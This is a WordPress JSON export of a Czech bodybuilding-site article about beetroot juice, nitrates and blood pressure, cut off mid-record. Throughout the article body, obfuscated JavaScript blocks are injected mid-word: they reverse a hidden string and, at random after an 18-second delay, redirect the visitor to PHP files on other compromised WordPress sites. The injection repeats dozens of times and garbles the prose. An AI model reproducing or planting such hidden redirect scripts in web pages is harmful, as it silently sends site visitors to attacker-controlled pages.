{"id":168,"date":"2019-08-13T10:10:36","date_gmt":"2019-08-13T10:10:36","guid":{"rendered":"http:\/\/www.svetkulturistiky.cz\/?p=168"},"modified":"2019-08-13T10:10:36","modified_gmt":"2019-08-13T10:10:36","slug":"kdyz-ma-cervena-repa-zelenou","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2019\/08\/13\/kdyz-ma-cervena-repa-zelenou\/","title":{"rendered":"KDY\u017d M\u00c1 \u010cERVEN\u00c1 \u0158EPA ZELENOU"},"content":{"rendered":"<p>Jim Schmaltz<\/p>\n<p>&nbsp;<\/p>\n<p><strong>V\u00fdta\u017eek z\u00a0\u010derven\u00e9 \u0159epy dob\u00fdv\u00e1 suplemen<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00fd pr\u016fmysl. A hned si pov\u00edme pro\u010d.<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>Term\u00edn \u201esuperpotravina\u201c je mnohdy sp\u00ed\u0161e marketingov\u00fdm trikem ne\u017e reali<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou. Ale jsou i potraviny, kter\u00e9 si zaslou\u017e\u00ed b\u00fdt tak<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to ozna\u010dov\u00e1ny. Jejich \u00fa\u010dinky jsou dolo\u017eeny na z\u00e1klad\u011b klinick\u00fdch studi\u00ed a my bychom jim t\u00edm p\u00e1dem m\u011bli v\u011bnovat pozornost.<\/p>\n<p>T\u0159eba takov\u00e1 \u010derven\u00e1 \u0159epa. Nikdo nepochybuje o <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom, \u017ee je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to zdrav\u00e1 zelenina. Mezi v\u00fdkonnostn\u00edmi spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci se ale v\u00a0posledn\u00edch letech st\u00e1v\u00e1 velk\u00fdm hitem a st\u0159edem pozornosti b\u00fdv\u00e1 i mezi lidmi, kte\u0159\u00ed trp\u00ed kardiovaskul\u00e1rn\u00edmi probl\u00e9my.<\/p>\n<p>D\u00edky \u010demu si zaslou\u017eila pov\u011bst superpotraviny? Pod\u00edvejme se na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to trochu v\u011bdecky.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>V\u0160E SE TO\u010c\u00cd KOLEM \u201eNO\u201c<\/strong><\/p>\n<p>\u010cerven\u00e1 \u0159epa je sou\u010d\u00e1st\u00ed na\u0161eho j\u00eddeln\u00ed\u010dku u\u017e n\u011bkolik s<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tolet\u00ed. Ve st\u0159edov\u011bku se pou\u017e\u00edvala k\u00a0l\u00e9\u010db\u011b nemoc\u00ed krve a tr\u00e1vic\u00edho traktu. A\u017e v\u00a0posledn\u00edch 15 letech se ale v\u011bdci zaob\u00edraj\u00ed t\u00edm, jak\u00e9 konkr\u00e9tn\u00ed \u00fa\u010dinn\u00e9 l\u00e1tky s<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toj\u00ed za t\u011bmi<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to l\u00e9\u010div\u00fdmi \u00fa\u010dinky. A v\u0161e ukazuje na nitr\u00e1ty a nejr\u016fzn\u011bj\u0161\u00ed antioxidanty.<\/p>\n<p>\u010casopis <em>The Journal of Nutrition<\/em> p\u0159inesl shrnut\u00ed 16 studi\u00ed, v\u00a0r\u00e1mci nich\u017e v\u011bdci zjistili, \u017ee \u0161\u0165\u00e1va z\u00a0\u010derven\u00e9 \u0159epy m\u00e1 v\u00fdrazn\u00fd vliv na sn\u00ed\u017een\u00ed sys<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tolick\u00e9ho tlaku, a <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to d\u00edky vysok\u00e9mu obsahu nitr\u00e1tu (NO3), kter\u00fd t\u011blo m\u011bn\u00ed na biologicky aktivn\u00ed NO2 a NO.<\/p>\n<p>\u201eTa<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to studie ukazuje, \u017ee sklenice \u0161\u0165\u00e1vy z\u00a0\u010derven\u00e9 \u0159epy konzumovan\u00e1 pravideln\u011b ka\u017ed\u00fd den, m\u016f\u017ee sn\u00ed\u017eit krevn\u00ed tlak u lid\u00ed s\u00a0hypertenz\u00ed \u2013 a <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to dokonce i u t\u011bch, u nich\u017e nen\u00ed vysok\u00fd krevn\u00ed tlak ovliv\u0148ov\u00e1n l\u00e9ky,\u201c \u0159\u00edk\u00e1 Shannon Amoils, M.D., v\u00fdzkumn\u00e1 pracovnice z\u00a0British Heart Foundation.<\/p>\n<p>NO je vasodilat\u00e1<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tor, <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to znamen\u00e1, \u017ee roz\u0161i\u0159uje c\u00e9vy a podporuje prokrven\u00ed. To n\u00e1sledn\u011b vede ke sn\u00ed\u017een\u00ed krevn\u00edho tlaku a sou\u010dasn\u011b se d\u00edky <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu do pracuj\u00edc\u00edch sval\u016f dost\u00e1v\u00e1 v\u00edce \u017eivin a kysl\u00edku, co\u017e je pro spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var 